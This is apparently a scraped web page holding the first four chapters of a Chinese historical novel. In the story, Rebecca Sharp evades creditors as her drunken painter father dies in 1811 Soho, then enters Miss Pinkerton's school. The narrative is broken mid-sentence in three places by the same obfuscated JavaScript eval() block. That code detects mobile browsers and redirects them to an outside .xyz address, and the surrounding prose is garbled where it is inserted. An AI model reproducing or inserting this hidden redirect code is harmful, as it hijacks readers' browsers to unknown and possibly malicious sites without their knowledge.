《[19世纪]贫民窟交际花》 1. 第 1 章 1811年，十一月的一个早晨。 伦敦索霍区的旧画室，一个被缚住手脚的中年男人，躺在磨损褪色严重的沙发上，双目发直，浑身震颤。 “威斯特院长（皇家艺术学院院长），谢、谢谢您的赏识……酒、酒、给我酒……” 斜对角的画架前，坐着一位小个子女人，正拿着貂毛刷，往油画上刷光油。 散乱的浅棕色长发，覆盖了她大半个身体，一张乏善可陈的苍白小脸上，长着双极其不匹配的大眼睛，那是一种极富有魅力的绿色，足以让人忽略她长相上的所有缺点。 跟在房东太太身后的斯蒂尔医生，第一眼看见夏普小姐，便是这种感觉。 “日安，先生。” 瑞蓓卡站起身，恹恹地向他行礼。 似乎是一副刚睡醒的模样，她眼帘低垂，浓密的睫毛给苍白窄小的脸颊投去一抹淡淡的阴影，嘴唇没有丁点儿血色。 根据斯蒂尔医生的判断，这样的人往往存在贫血或其他营养缺乏。 如果能补充一些营养，让两颊和嘴唇，呈现健康的玫瑰色，或许她会是个芳华绝代的人物，只是那可怜的瘦小身躯已经再难有什么变化。 总之，是个苍白漂亮、精力缺乏的小个子，他在心里下定义。 瑞蓓卡的母亲去世很早，从小跟着父亲生活的她，与男性打交道较多，她很早就知道，男人见到女人的第一反应是点评，但不代表她认同或者习惯他们这幅样子。 见这年轻医生傻愣愣地盯着自己，也不知道询问病人的情况，她突然毫无预兆地朝他露出一个笑容。 医生的目光一直粘在她脸上，被这突如其来的笑容吓了一跳，他摸摸自己的领巾，碰碰鼻子，尴尬地回应一个微笑，方才如梦初醒，转身检查躺在沙发上的病人。 瑞蓓卡轻笑一声，将房东太太打发走，向医生介绍父亲的情况。 “今天有幅画需要交付，父亲早起给画刷油时，喝了半瓶葡萄酒，就开始嚷着头疼，不停地砸脑袋，还有明显的攻击倾向，我只好请房东先生帮忙，将他捆起来。” “这是酒精中毒发作吗？他昨晚还喝了一些兑水杜松子酒。” “准确的说，夏普先生是戒断反应引起震颤谵妄，算是酒精中毒的一种。” “戒断？他明明一直在喝酒，怎么会有戒断反应？” 斯蒂尔看向剩的半瓶劣质葡萄酒：“恐怕这瓶酒没能发挥作用，也可能是杜松子酒掺水的原因。” “劣酒酒精度数低，兑水的酒也是，对于常年饮酒的人来说，昨晚和今早的酒精摄入量远远不够，如果能喝完剩下这半瓶酒，或许情况会好一些，但很明显，他还没来得及喝完就发病了。” “夏普先生这种情况是第几次了？” “三次。” “那要请你做好最坏的打算。他很可能痊愈无望，就算能够醒来，也未必能挨过这一遭，我会开一点药，说实在的，这并不能派上什么用场……” 瑞蓓卡从不认为父亲能安安稳稳地寿终正寝，像他这样的酒鬼兼赌徒，能死在家里都算好运。 但此刻，她顾不上讨论父亲运气的好坏，也无暇思考死亡，她只能想到钱。 母亲留下的几件料子贵重的过时晚装、半盎司木乃伊棕颜料①、藏在碗柜深处品相还不错的葡萄酒、今天要交付的画的尾款…… 旧画室里所有东西加起来，最多值□□镑，而杂货店账单、酒馆账单、赌场账单、诉讼账单以及欠房东太太的租金，负债足足有八九十镑！ 资不抵债，指望父亲给她留点儿钱是不可能的了，等夏普先生一死，债主们闻讯而来，把所有值钱东西都拿走，她又没有工作，以后该怎样生活？ 瑞蓓卡哭起来。 斯蒂尔医生叹口气，递上去一块手帕，哪想到瑞蓓卡哭得花枝乱颤，随手一抓，竟然抓住了他的手！ 一种冰冷柔软的感觉缠绕在他的手上，他下意识想缩回手，还好女人的肌肤对感官的刺激，及时传达到大脑，阻止了这个可能让他后悔的愚蠢动作。 医生的大脑一片空白。 面对着那双蓄满泪水的漂亮绿眼睛，除了竭尽全力地安慰这个不幸的姑娘，他什么都忘了，直到快走出索霍区，才想起自己没有收取诊金。 斯蒂尔站在充满雾气的街道上，对金钱的贪婪和源自色心的拯救欲望，在天平上反复衡量，最终，绿眼睛和小手的魅力略胜一筹。 “她看上去不像有钱的样子，我不该去为难这个可怜人……”医生念念有词地回到诊所。 事实上，如果他一点也不犹豫，立刻选择回去要钱，他也什么都得不到。 瑞蓓卡从八岁起便是个当家的大人，夏普先生糟糕的经济状况，成功锻炼了她推脱债务的能力，放高利贷的老油子都无法从她这儿讨到多少好处，别说一个初出茅庐的年轻医生了。 不过，他如果回去要钱，倒是能开开眼界——房东太太指着大门紧锁的旧画室怒骂，他心中的“可怜人”欠下三个月房租，正不知所踪。 “难道夏普先生的病这么快就好了？还是夏普先生情况不妙，她把父亲丢下，自己跑了？” 房东太太念念叨叨地拿出钥匙，想要打开旧画室的大门一看究竟。 咔嚓一声，门锁被打开，男人的鼾声隐隐约约，叫她产生不好的预感，她不敢直面那个可怕的想法，飞快地将门锁上离开，边走还安慰自己。 “……她肯定是出门买东西去了……她不可能走，没了夏普先生，她也活不下去。对，有个跳舞女郎母亲，她想去当女佣当店员，也不会有人雇她……” “但是她能去当洗衣女工，或者像她母亲一样登台表演，实在不行还可以结婚。夏普先生天天请人来家吃饭喝酒，里面有很多年轻人……”房东先生指出某些遗漏的可能。 已经十点多钟，伦敦还处在寒冷的浓雾中。 源自英吉利海峡的西北风，来到比平民窟好不到哪去的索霍区，变成裹挟腐臭污浊与潮湿的冷意，浸透她的旧大衣，阴冷森森如同附骨之疽。 瑞蓓卡对这种感觉并不陌生。 每个冬季她都是这样度过的，只是平时挽着篮子买菜时，两只手勉强还能藏在袖子里，而现在她一手拎着旧牛皮箱，一手拿着今天要交付的画，手部的皮肤完完全全暴露在寒风里，又冷又痛，实在难捱。 她想放下手中的东西，呵呵气搓搓手，可地面上全是污水与垃圾，实在没地方放东西，她跺跺脚，一路飞速小跑，把画送到单主手中。 兴许是看她冻得厉害，或是一大早来送画的原因，单主多给她了几个先令。 瑞蓓卡的女士粗毛呢外套里并没有口袋，她也没有手袋，只得在出门后，借着单主门前洁净的地方，将牛皮箱子打开条缝，把钱塞进去。 雾气还是很浓，她不慌不忙地拎着装着她全部身价的箱子，往驿站走去。 十一点半有辆前往萨里郡的公共马车，她要乘坐这趟马车，到萨里郡躲避债务。 如果顺利躲开债主，瑞蓓卡将在萨里郡找个工作，安顿下来。 她没天真地认为乡村一定安宁淳朴，适合单身女人生活，但至少比索霍区这个侨民聚居的混乱地方安全， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918360|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没了男性监护人，她必须审慎地选择生活范围。 如果债主们不愿善罢甘休，或是她找不到工作，瑞蓓卡打算把箱子里的东西都卖掉，换成前往美国或是东印度的船票。 她接受过教育，能说一口流利的法语，绘画、音乐、计算、文学也不算太差，到美国印度那种地方，没人知道她是跳舞女郎和画家的女儿，瑞蓓卡大可以假装自己出身良好，是自耕农的女儿，在修道院开设的学校里学习多年，借此获得高级女佣或家庭教师的职位。 煤气灯在雾气中散发着昏黄的光晕，微弱的光线努力穿透雾气，映照出模糊的建筑轮廓，以及商店的招牌：索伦金太太的杂货铺。 瑞蓓卡朝那温暖的亮光走去。 从这里走到驿站只要五分钟，距离十一点半还有段时间，她不打算傻愣愣地站在冷风里。 如果价格合适，兴许她会给自己买点儿东西，譬如一双手套。她从没在自己身上花过一个便士，夏普先生要死了，对于手上的这些钱，她有着绝对地掌控权，为什么不花呢？今天还是她的生日。 “夏普小姐？” 普莱兹先生站在货架前，将一副女士手套放回货架，他看看她提着的箱子，有些意外。 “你要出门？” “没有，箱子是用来装旧衣服的，父亲让我把母亲留下的衣服卖掉。”瑞蓓卡笑笑。 普莱兹先生一副了然地模样。 瑞蓓卡知道他在想什么，夏普先生娶了法国大革命流亡到英国的落魄贵族，靠着变卖妻子遗物生活，在这一带人人皆知，如果不是如此，她也不会在千万个理由中选择这条。 他今天穿了一件崭新的黑色大衣，里面的亚麻衬衫虽是夏天的款式，却熨烫得很平整，也没有洗得发黄的痕迹，不像洗了一个夏天的模样，更像是才买不久的商店过季打折货。 这样的打扮，对于一个年轻穷画家来说，似乎有点太体面了，穿着一身新衣服，有什么重要场合要去吗。 “这件大衣可真漂亮，怎么从来没见你穿过，难道今天有什么特别的事？” 瑞蓓卡转转眼珠，用俏皮地语调说：“我知道了，一定是因为明拉多考上皇家艺术院，你们今晚都要去道贺，但是，你真的确定要买女士手套送给他当做庆贺礼物吗？” 普莱兹先生摇摇头，将刚刚放下的手套又拿起来，小心翼翼地递给瑞蓓卡。 “是送给你的，生日快乐，蓓姬。” “真的吗？是送给我的？” 瑞蓓卡睁大眼睛，没有对蓓姬这个亲密的昵称做出任何回应，让普莱兹先生有些失落。 他点点头，看向瑞蓓卡发红泛紫的手，小声催促：“试一试，合不合手。” “本来想今晚拜访夏普先生时，再交给你，没想到现在遇到你……不过能让你早一刻戴上更好。” “在这样糟糕的天气里还能遇见一个相见的人，我也觉得早一刻更好。” 普莱兹先生脸色微红。 瑞蓓卡放下箱子，戴上手套。 坚固的羊皮和温暖的绒里，立刻将她的双手包裹，虽然没有立刻暖和起来，但在羊绒内里的轻抚下，双手的酸痛麻木得到了极大的缓解。 “谢谢你，我很喜欢这个礼物，你刚刚说要拜访父亲，大家都来吗？” “夏普先生没有告诉你吗？他邀请了好几个人为你庆生……” “他肯定是喝糊涂了，竟然不提前告诉我今晚要请客，我连食材都没买。” 瑞蓓卡戴着羊皮手套的手伸展两下，露出一个笑容：“不过好在时间还早，还来得及准备。” 2. 第 2 章 尽管时刻存在父亲去世债主堵上门的危险，瑞蓓卡还是坚定地认为，她不能不收完生日礼物再离开。 旧画室所在的画师坊一带，她算是个名人。 夏普先生每晚都招徕朋友喝酒聊天，吸引那些年轻画师的不光是夏普先生的幽默风趣，还有漂亮的绿眼睛。 那些天天来拜访他父亲的年轻人里，有一半是为她而来。 她不指望每个朋友都能抛下前程似锦的明拉多不去恭维，跑来为她庆贺生日，也不指望每人都像普莱兹先生那样出手阔绰，可就算是白得几份小玩意儿，也不亏。 为了保险起见，她订了间旅馆，将旧牛皮箱子塞到床底。 趁着时间还早，躺在旅馆的床上，她准备舒舒服服补一觉，赚回点房钱。 燃烧的壁炉时不时传来啪嗒声，俗气褪色的墙纸和翘起的木地板，若有似无的闭塞霉烂气味，在温暖的炉火映照下，竟让人有种莫名其妙的安心。 她已将一切都安排好。 等到下午三点的钟声响起，旅馆的女佣会来叫醒她，她照常浪费些口水去赊来食材，回到旧画室做顿晚餐，与友人们相聚，兴奋地拆开生日礼物，然后在十一点前将他们打发走。 第二日八点前回到旅馆，拿上箱子，乘坐最早的一辆马车，前往萨里郡。 冬季的伦敦日照时间很短，有时能看见太阳的白日，只有三四个小时，天黑得快，穷人为了节省蜡烛，总是将晚餐时间提前再提前。 瑞蓓卡挽着盛放食材的篮子回来时，地下室的公共厨房里，房东太太已经结束烹饪，正准备把炖菜端出去。 碗里的汤加了菠菜汁，绿绿的，炸面包块、炸卷心菜片、培根、芜菁以及嫩豌豆漂浮在上面，乍一眼看上去像是锅大杂烩。 但只有熟悉英式烹饪的人，才能明白，做出一份这样的菜并不容易。 如果能用这份菜来待客，那该有多体面？瑞蓓卡默默盘算着。 “你可算是回来了！今天一整天看不见你，别人都说你跑了，我说夏普先生生病卧床，你能往哪儿跑？他们死活不信！” 房东太太急忙把炖菜放到一边，用来隔热的抹布还拿在手上，就忙不迭抓住她的手，被皱纹挤成一条缝的小眼睛，不停地往她的篮子里看。 “买这么多菜，又要请客？看样子夏普先生的病是快好了，真是叫人高兴。不过就是病好了，也不能整天这样折腾，身体没问题，钱包也未必没问题。” 粗粝温热的手死死地钳住她，瑞蓓卡对房东太太过分的热情感到有些不适。 她没有回答房东太太的问题，而是转头去看厨台上的豌豆汤，深吸一口气：“真香。” “父亲过去总抱怨我的厨艺，可我一直不愿意把心思放在这上面，毕竟，不是每个人都像您一样，拥有烹饪天赋。现在我真后悔为什么不多练习烹饪，看着生病的父亲，自己连为他弄顿美味的晚餐都做不到……” “要是能让父亲吃点热乎乎的豌豆汤，该有多好呀，这样热乎乎的炖菜，我敢说比什么药剂都有用。要是客人们能吃上一点，准保他们一个冬天都不生病……” 房东太太一整天都没见到瑞蓓卡，还以为她不打算付房租跑了，骤然在地下室的公共厨房看见她，激动地像是见到许久未见的亲人。 这样激动的后果，是听到瑞蓓卡对自己手艺的不断的夸赞后，把刚刚做好的炖菜拨给了她一大半。 有了这份炖菜，瑞蓓卡的烹饪压力瞬间减轻不少，将所有菜品端上二楼的旧画室时，还不到五点。 夏普先生还活着，不知是情况稳定，还是已经陷入更深度的昏迷，总之没有再说胡话。 瑞蓓卡把绳子解开，往他身上撒几滴酒，伪装成普通的醉酒。 做完这一切，门外刚好响起敲门声，她高高兴兴地去开门，触碰到冰冷的金属门把手时，忽打了个哆嗦，想起一件事。 往常夏普先生请客，客人们总是成群结伴来，一群年轻小伙子上楼来，怎么一点声音都没有？ 难道是债主？店老板不太可能，她刚才赊账时，他没说要清账。 是放高利贷的人吗？ “谁啊？” “是我。”房东太太的声音从门外响起。 她把门拉开一条缝：“什么事？” 房东太太笑眯眯：“你不是总抱怨墙纸剥脱，想贴个新的吗？我去量一下尺寸。” 瑞蓓卡有点怀疑自己的耳朵，抱怨小半年，房东太太都假装听不见，现在她父亲快死了，她也要准备跑了，房东太太突然上门给她换墙纸？ “改天吧，客人们马上就要到了。”正说着，她就要关门，房东太太却死死地拉住门把手，不肯让她关门。 “很快的，很快的，我量一下就好了。” 见瑞蓓卡的态度很坚决，房东太太越发控制不住心底的猜疑。 从厨房回去后，她越想越不对劲，瑞蓓卡虽然没跑，但归根结底，夏普先生才是租金的来源。 丢下一个病人一整天，怎么想夏普先生的情况都不妙。 而那个小个子家伙还做出夏普先生要请客的样子，试图让一切看上去与平时没差别来迷惑她，可惜“客人们”不配合，到现在还没来。 放在平时，这帮年轻人哪次不是还没到饭点儿，就早早跑过来，巴望着能多跟瑞蓓卡待一会儿。 到了这个点儿客人们还没来，压根是没有客人吧。 再联想到今天的种种情况，房东太太有了一个不好的想法：会不会夏普先生已经死了，这个小妞装神弄鬼，想在这里多住几天吧？ “什么时候付租金？已经拖了三个月了，你们有钱请客吃饭，还好意思不付房钱？”事已至此，再纠结夏普先生的死活已经不重要，重要的是她能否拿到拖欠的房租。 房东太太突然转换话题，让瑞蓓卡有些猝不及防。 好在“租金”“欠债”这些词眼，已经成为某种触发词，瞬间就能引发她习惯性地推诿：“请客吃饭的钱是赊账，最近画室生意不好，钱不凑手，如果有钱，难道我会诚心拖欠你的租金吗？反正这笔钱都是要付的，早一天晚一天有什么区别。” 房东太太拉下脸：“拖、拖、拖！怎么摊上你这样的房客，不行你们就别住了，今天就搬走！” “搬走就搬走，我们搬走你也找不到更好的房客，沦落到住在这一带的人，有几个经济来源稳定的人？哪个不拖房租、赊酒赊面包？” 瑞蓓卡也没给对方好脸色，她知道自己没付钱，房东太太是绝不会让她走的，因此格外理直气壮。 “我不跟你说，你父亲呢？让他出来，我跟他说。” “我父亲是不会跟你说这些的。” “那我就进去找他！” 正说着房东太太就要往里冲，这时楼下忽然传来一阵杂乱的声音，紧接着几个年轻人搬着个半人高的石膏像出现在楼梯上。 一见到这几个熟悉面孔，房东太太瞬间哑火。 怎么还真有客人？难道夏普先生还活着？总不能是夏普先生要死了，瑞蓓卡还敢请人上门吃饭吧？ 不不不，他肯定还活着，并且病得很轻，一定还趁着她没注意的时候，出了门，否则，谁来解释客人是从哪来的？ 她看看瑞蓓卡，后者面无表情，松开了刚刚握住的门把，一副“你想进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918361|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就进来吧”的样子，那她到底该不该去一探究竟呢？ 房东太太正犹豫着，搬着石膏像的年轻人却等不及了。 明拉多先生嚷嚷道：“挡在门口的太太，体谅体谅我们还抱着石膏像吧，往边上挪挪。” 最终，房东太太选择相信。 她很不甘心地转身下楼，嘴里嘟囔着：“这年头，要债的还要看欠债人的脸色，让我趁你们请客时候要钱，我怎么敢呐，夏普先生发怒也怪吓人的……” “夫人，伦敦一直是这个样子，您也不是第一天知道——” “行了明拉多，别火上浇油。”普莱兹先生说。 瑞蓓卡打开门，笑盈盈地说：“明拉多先生，你考上了皇家艺术学院，怎么今晚不在家里大宴宾客，反而跑到我这里来？” “夏普小姐过生日，再大的事也要排到这后面去，才不浪费我刻了这么多天的雕像。” “明拉多先生是意大利裔，意大利男人天生擅长哄女人，我才不相信你的话。”瑞蓓卡说着不相信，转身拿起烛台，跟在几人身后。 石膏像被安放在墙角，烛光映照出少女柔美的面庞，鬈发像是被风吹动，保持着某种好看的散开状态，几乎能让人感受到那种风的自由气息，为少女增添几分轻盈。 是以她的模样创作的作品。 “夏普先生怎么这个点儿就躺在沙发上睡着了？” “别说父亲了，一说我就生气，他邀请你们来为我庆生，结果他这个东道主还没到晚上，竟然就喝醉了！” “他在酒馆里碰到个随身携带大量羽毛笔的家伙，也不知是卖笔的，还是偷拿公司用品的仓库管理员。他们两人拼酒，父亲让那人用羽毛笔做赌注，想为我赢几根笔当做生日礼物，没想到不仅没赢得礼物，反倒把房租钱赔掉了！” 瑞蓓卡摇摇头，又无奈又生气地说完这一大段抱怨。 几人笑嘻嘻，都称这果然是夏普先生的行事风格 “夏普先生很疼爱你，我还记得他去年，想给你买件新外套，但手上只有三个先令，他去赌场赌了一下午，指望让这些钱翻倍，最后反而欠下十几个先令，还是靠着赖在店门口一下午，才赊来一件外套。” “别说这件事了，我们当时可是为此吃了两个月黑麦面包，才还清这笔债。哎说到这件事，你提醒了我，我需要谢谢‘羽毛笔先生’。” “为什么？” “当然是谢谢他把父亲喝醉倒，不然父亲还像去年那样跑去赊账，我又得要吃黑麦面包。我讨厌黑麦面包！” 瑞蓓卡在用玩笑的口吻表达不赞同，其他人却不以为意，只顾着笑，她也跟着笑了。 晚上十一点，客人都走了。 夏普先生非常靠谱地，没有在宾客在场时突然发病或是死掉，甚至在客人走后，有些苏醒的趋势，气息微弱地要水喝。 也可能是他从客人在时，就一直要水喝，只是瑞蓓卡没有听见。 她走到餐桌前，想给他找点儿东西吃，注意力却被两个信封吸引。 深棕色的桌布上两个白色信封，相对放着，格外显眼，客人们走时一定也注意到了，甚至这两封信的主人也都注意到了彼此，因为两人刚好是对坐着。 瑞蓓卡回忆一下，那两个位置坐的是明拉多和普莱兹的。 她打开信，果然是那两个人的信不错，连信的内容都与她猜想的差不多。 这个单身男女不能通信、除非订婚的年代，这两封信的主题，除了求婚，简直没有其他可能。 明拉多前途一片光明，普莱兹贴心沉稳，似乎两个人都是个不错的依靠，比赌一把躲去乡下或出国，要靠谱很多？ 3. 第 3 章 “小姐，我知道你没钱偿还所有债务，但也该拿点钱出来，没有四十镑，十镑、二十镑也可以，否则别想收殓他。” “嘿，这是我该说的话，要还债也该先还我这边的，如果不先还我的债，我也不许埋葬他！” “尸体是我的，我比你先来，不允许家属埋殓，是我的权力。”穿蓝色骑装的执达吏①伸手把还在喘息的夏普先生拽到他那边。 “死者欠我的委托人的钱更多，按照欠款分配债主的权力的话，夏普先生的百分之八十属于我的委托人。”穿黑色短大衣的执达吏，死死拽住夏普先生的胳膊，使劲往回拉。 房东一家，不知道什么时候跑上楼来看热闹。 见债主不允许瑞蓓卡埋葬夏普先生，房东太太惴惴不安地问：“两位先生，请问如果还不上债，不能埋葬夏普先生，那尸体该放在哪儿？这个屋子可不是他家，是他们租的，我才是这儿的房东，你们总不能把一具尸体放在我家吧？” 各自拽着夏普先生一只胳膊的两个执达吏，忙着争吵，没人能回答房东太太。 房东太太感到很不妙。 生怕两人要把夏普先生安置在她的房子里，她努力挤进夏普先生躺着的窄小旧沙发前，站在两人之间，扯开嗓子大声喊。 “夏普先生也欠我钱，虽然没有你们那么多，但我也拥有你们说的那个什么权力，不如我们三个人投票表决，是否允许死者安息？” 穿蓝衣服和黑衣服的执达吏，停下了这场用夏普先生当做绳子的拔河赛，但也都没松手，都用某种奇怪地目光看着她。 房东太太硬着头皮，尴尴尬尬地露出一个笑容：“如果你们没意见，那么就先由我表态啦？” 像是演某出不受观众喜爱的独角戏一样，明知不受欢迎，还不得不积极表现，她带着股不知从何而来的决绝举起手。 “我决定允许夏普小姐埋葬她的父亲，支持的请举手。” 充当背景板的瑞蓓卡差点笑出声，好在她比房东太太更具备演员的专业素养，忙举起手帕假装拭泪，方才没有引起人们的注意。 趁着几人的关注点不在她身上，她从昨天收到的礼物中，拿出两块香菜籽糖，悄悄塞给看热闹的房东太太的儿子，让他快点跑去明拉多那儿，请他来帮忙。 穿黑衣服的执达吏皱起眉毛：“太太，我想你可能没弄清楚情况，我们是隶属法院的执达吏，受委托而来，如果夏普小姐今天还不上钱，我们是一定要把夏普先生卖给医学院的，你不要指望说给他说情。” “啊，原来是这样，我并没有给他说情的意思，刚才的事请务必当做没发生过。” 看着还有微弱呼吸的夏普先生，房东太太又忍不住问：“他能值多少钱？如果我也委托你处理债务，是不是我也能得到部分钱？” 两人被房东太太突然转变的态度，弄得一愣，随即点点头。 “夏普先生的牙齿很好，适合卖给牙医制作假牙，再加上整具尸体卖给医学院的钱，大概值七八英镑，当然，这还得看夏普小姐能不能拿的出钱还账，如果有钱，夏普先生就不必在死后还遭这一趟罪了。” 说到这儿，两个执达吏纷纷看向瑞蓓卡。 瑞蓓卡感到有些毛骨悚然，她只知道不还债，债主将不允许家属埋葬死者，从没想过死者最后被安置在哪里。 但是死了就是死了，夏普先生是不会有感觉的，说不定死后派上点用场，还能让他这个活着时候是个废人的人感到稍许安慰？ 至于夏普先生能否安息、能否上天堂？她从不信这些虚无的东西，她只知道英镑是真的，每一英镑都有七克黄金，这是真的。 “我一分钱都没有。我只有屋子里的这些缺损的碗碟、劣酒、绘画材料，其余的什么都没有。” 瑞蓓卡忙止住哭啼，拿出昨天生日礼物之一的钱袋，乖乖打开给他们看。 蓝衣服挥挥手，表示自己不吃这套，开始四处搜寻财物。 黑衣服则很沉得住气地说：“小姐，你最好自己主动把钱拿出来，不然我们早晚也会搜出来。” 瑞蓓卡默不作声，只管流泪。 她企图用眼泪反复提醒他们，自己是个凄惨的孤儿，让两人高抬贵手。 然而，这两个执达吏，专门处理负债人死亡的这种烂账，他们的心远比平时来要债的人要狠得多，她的眼泪没发挥一点儿作用。 蓝衣服没找到什么值钱东西，悻悻而归：“听说你妈妈是个法国贵族，她不可能给你只留下了这些破烂吧？” “我也希望她能给我留点儿东西，父亲就要死了，我比谁都希望自己有钱傍身，可是家里只有这些不值钱的东西。” 黑衣服不相信蓝衣服，他往瑞蓓卡的卧室走去，试图找到一些蓝衣服没注意到的漏网之鱼。 “你别不相信我，你去看看就知道了，柜子里比我的脸还要干净，简直像是耗子军团过境，什么都没有！”蓝衣服抱怨道。 “衣柜里也什么都没有？”黑衣服问。 一瞬间，瑞蓓卡的心脏似乎被一双无形的手给攥住，她感到有些呼吸不畅，她觉得自己犯了个错误。 “说了没有就是没有，你别不信。” 黑衣服笑一笑，没有继续朝卧室走，他转身去检查夏普先生留下的绘画材料：“我来时，委托人特意叮嘱我，夏普先生是个画家，其他值钱的东西不一定有，但是一些名贵颜料，他应当有。” “木乃伊棕、海螺紫、中国朱砂……为什么我来的这么巧，这些价比黄金的颜料竟恰好全用完了？甚至你的衣柜里连件换洗的旧衣服都没有，小姐，你最好实话实说，这些东西都去哪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918362|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？是不是被你藏起来了？” 瑞蓓卡不回答。 长期与醉醺醺父亲相处练就的直觉告诉她，如果她继续做出否定回答，很可能激怒对方。 而理智又告诉她，如果继续默不作声，她很大可能还是要挨揍。 明拉多先生怎么还不来？ 她之前让房东太太的儿子请明拉多帮忙，就是为了防止这种可能，可是为什么明拉多还没来呢？ 今天早上，她不是写信同意了他的求婚吗？作为未婚夫，难道他不该来帮忙吗？ 知道意大利男人不靠谱，她应该去请普莱兹帮忙，即使她拒绝过他，他也一定愿意在执达吏面前维护她。 “夏普小姐，或许你确实很聪明，但有一点很不好，你知道自己聪明，所以把大家都看成了任你摆布的傻子！你该知道事情做得太绝，对谁都没有好处！” 臭烘烘的口水喷到了她的脸上，雷鸣般地怒吼，轰得她脑子嗡嗡地。 不就是挨打吗？她又不是没挨过？赶紧打吧，打完赶紧走，她绝不会吐露有关牛皮箱子任何消息。 瑞蓓卡闭上眼睛，准备接受命运的安排。 楼下忽然传来一阵喧闹，似乎是有马车停在了门前，紧接着便是上楼的脚步声。 “请问，夏普先生和夏普小姐住在这儿吗？”一个女管家模样打扮的人敲敲大敞的门。 “你是谁？” “我是平克顿女校的□□，今天早上夏普先生给平克顿小姐写了封信……” 平克顿小姐有收养她的意愿。 瑞蓓卡做梦也想不到，她那个不靠谱的父亲，总是突发疾病式爆发父爱的父亲，竟然靠谱了一次！ 今早，夏普先生短暂的回光返照了一会儿。 得知瑞蓓卡与明拉多先生订婚，他非常不赞成，他知道明拉多为什么向瑞蓓卡求婚。 明拉多看似前途光明，比索霍区大多数年轻画家的情况强，可皇家艺术学院也不是好混的。 他要在那儿求学，就必须搬到更体面的社区生活，否则人们绝不会接纳他，一个侯爵夫人是不会请生活在索霍区的画家为她作画的。 他没有钱。 想要改善经济状况，首选是娶一个有钱的妻子，次选是娶一个精明的妻子。 明拉多没本事娶到有钱妻子，而次选中的最优选择，就在他身边。 瑞蓓卡有着不花一个法寻②也能维持家庭生活的能力，他娶她，是要她帮他用极少的钱，维系体面的生活，要她到处说好话，为他赊账…… 夏普先生想劝阻瑞蓓卡，却发现自己没有立场指责明拉多，因为瑞蓓卡在家里时，也是承担着这样的角色。 垂死之际，他萌生出一点儿良心，问瑞蓓卡要来了笔，给过去任教的女校校长写了封言辞恳切的托孤信。 4. 第 4 章 雨滴密密麻麻地砸在大理石墓碑上，发出一连串的啪嗒声。 墓碑的刻字，在雨中有些模糊： “别为我忧伤，我要到天国享用美酒……科温·夏普，1772.3.4——1811.11.9。” 夏普先生在第三天早晨咽气，墓志铭的那句话，是他清醒时留下的最后一句话。 女教员付给执达吏四十镑，将他安葬在附近的公墓。 瑞蓓卡穿着新制的黑衣服，与女教员一起，目送悼唁的宾客离开，乘坐马车前往契绥克区，彻底与过去告别。 与明拉多仓促订婚的错误，已经得到纠正。得知夏普先生去世，瑞蓓卡必须服丧一年，明拉多几乎没有半点犹豫地选择取消婚约，他急切地需要一位为他打理生活的太太，等不了那么久。 藏匿在旅馆的箱子，她瞒过女教员，拜托普莱兹拿了回来，顺便还请他卖掉全部财物。 跟拒绝过的人再见面，总是很尴尬，更不要说请他帮忙，但在这些多到记不清的朋友里，她只信任普莱兹先生，还好有着夏普先生这件事，普莱兹先生很同情她，她请求他帮助时，并未受到刁难。 甚至分别时，普莱兹先生还给予她美好的祝愿。 “善于交际、聪明漂亮有胆气，只差一个体面身份，你就能青云直上。你拒绝我的时候，我便知道你的理想绝不是做‘贫民窟交际花’。” 说到这里他微微一顿，大概是觉得她这个外号有些难说出口。 “我不能做扶持你的人，只能衷心祝愿你如愿以偿。” 做着一步登天的空洞美梦，马车悠悠驶在林荫道上，尽头的平克顿女校缓缓展现在眼前，瑞蓓卡的情绪跟着激动起来，她一直缺少的身份和机会，就在眼前！ 车夫下车打铃，不远处，满布碧绿爬山虎有着蜂蜜色外墙的三层小楼，几个脑袋从窗子里冒出来，紧接着有人来打开大门。 马车停在那栋小楼前，女教员带着她直接走上二楼。 一楼没有教室，格局更像普通的富人住宅，有间起居室没关门，几个女孩穿着白色修米兹①，正在壁炉前喝茶，珍珠般的绸缎光，一闪而过。 等走到二楼，她才意识到这栋楼里压根没有教室，这是校长的住所，那几个穿白裙子的是特别寄宿生②，她们穿的裙子也不是丝绸的，依照她在父亲和友人酒后闲谈中所听到的，更可能是现在上流社会偏爱的细棉布。 棉布越细，支数越高，越富有光泽，同样更轻薄易坏，这样不耐穿的材料，与丝绸一样，都是富人专属。 二楼所有房间的门都紧掩着，平克顿小姐的书房在最后一间。 进门前，瑞蓓卡迅速调整状态，低下脑袋，从进门开始，眼珠子一直盯着地板。 她记得平克顿小姐似乎是喜欢这怯怯的样子？ 